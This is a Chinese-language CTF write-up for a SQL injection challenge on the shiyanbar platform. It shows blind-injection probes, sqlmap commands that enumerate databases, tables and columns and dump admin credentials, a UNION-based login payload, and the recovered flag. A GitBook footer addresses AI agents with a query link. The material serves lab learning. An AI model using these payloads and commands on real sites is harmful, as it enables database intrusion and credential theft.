> For the complete documentation index, see [llms.txt](https://l1nwatch.gitbook.io/ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://l1nwatch.gitbook.io/ctf/shi-yan-ba/web/zhu-ru.md).

# 注入

## 问题

注入注入注入～～

解题链接： <http://ctf4.shiyanbar.com:8080/6/>

## WriteUp

看了下面讨论区，知道有个：

```
http://ctf4.shiyanbar.com:8080/6/admin/
```

<http://ctf5.shiyanbar.com/423/web/?id=> OK，要求我们用注入爆出用户名和密码

试了一下?id=1 and 1可以成功

于是就可以来盲注猜测用户名和密码的，根据admin那个页面猜用户名是usr，所以开始了：

```
http://ctf4.shiyanbar.com:8080/6/?id=1 and len("usr") > 5
```

其实这只是判断字符串usr的长度而已，不能这样搞，得先得到表名和字段名

用SQLmap跑一下，开Kali Linux：

注意得放url `http://ctf4.shiyanbar.com:8080/6/?id=0`，要不然跑半天跑不出来，依次跑库名、表名、列名，语句分别为：

当前数据库名：

```
sqlmap -u http://ctf4.shiyanbar.com:8080/6/?id=0 --current-db
```

获取所有数据库名称,输入：

```
sqlmap -u http://ctf4.shiyanbar.com:8080/6/?id=0 --dbs
```

获取当前数据库内所有表名称,输入：

```
sqlmap -u http://ctf4.shiyanbar.com:8080/6/?id=0 --tables
```

获取admin表内的列名,输入:

```
sqlmap -u http://ctf4.shiyanbar.com:8080/6/?id=0 -T admin --columns
```

获取name和password内的账户密码,输入：

```
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"  -D mys -T zzcms_admin -C name,password --dump
```

但是跑出来的2个admin表，只能知道用户名是admin，剩下的无能为力了。

参考Write Up用到的一个注入，没看懂<http://www.shiyanbar.com/ctf/writeup/427>：

```
http://ctf4.shiyanbar.com:8080/6/admin/?usr=admin' and 1=2 union SELECT NULL,NULL,NULL from admin &pwd=1
```

总之可以获得表名CTFS\_FLAG，再跑一下key字段的值就行了：

```
sqlmap -u http://ctf4.shiyanbar.com:8080/6/?id=0 -T CTFS_FLAG -C key --dump
```

最终结果：`{ctfgoodjob!}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://l1nwatch.gitbook.io/ctf/shi-yan-ba/web/zhu-ru.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
